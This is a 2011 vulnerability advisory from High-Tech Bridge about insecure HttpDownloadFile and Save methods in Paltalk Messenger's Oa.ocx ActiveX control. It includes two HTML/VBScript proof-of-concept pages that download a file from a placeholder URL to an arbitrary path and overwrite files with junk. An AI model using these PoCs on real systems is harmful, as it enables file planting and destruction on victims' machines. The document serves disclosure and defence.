Total Tests:

Paltalk Messenger ActiveX Control Multiple Insecure Methods

Advisory ID:HTB23026
Product:Paltalk Messenger
Vendor:Paltalk
Vulnerable Versions:10.0 and probably prior
Tested Version:10.0
Advisory Publication:June 22, 2011 [without technical details]
Vendor Notification:June 22, 2011
Public Disclosure:July 13, 2011
Vulnerability Type:Exposed Unsafe ActiveX Method [CWE-618]
Risk Level:Critical
CVSSv2 Base Score:10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Paltalk Messenger, which can be exploited to overwrite arbitrary files.

1) Insecure methods in Paltalk Messenger ActiveX Control
1.1 The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "HttpDownloadFile()" method. This can be exploited to overwrite arbitrary files on the target system with privileges of the current user.
The following PoC code is available:
<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="http://URL/Filename"
arg2="FilePath\Filename_to_create"
targ et.HttpDownloadFile arg1 ,arg2
End Sub
</script>
</html>

1.2 The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "Save()" method. This can be exploited to overwrite with junk data arbitrary files in the context of the current user.
<html>
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create"
target.Save arg1
End Sub
</script>
</html>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB23026 - https://www.immuniweb.com/advisory/HTB23026 - Paltalk Messenger ActiveX Control Multiple Insecure Methods
[2] Paltalk Messenger - http://www.paltalk.com/ - Paltalk Messenger streamlines communication by putting instant messages, video chats, voice calls, and SMS all into a single user interface.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
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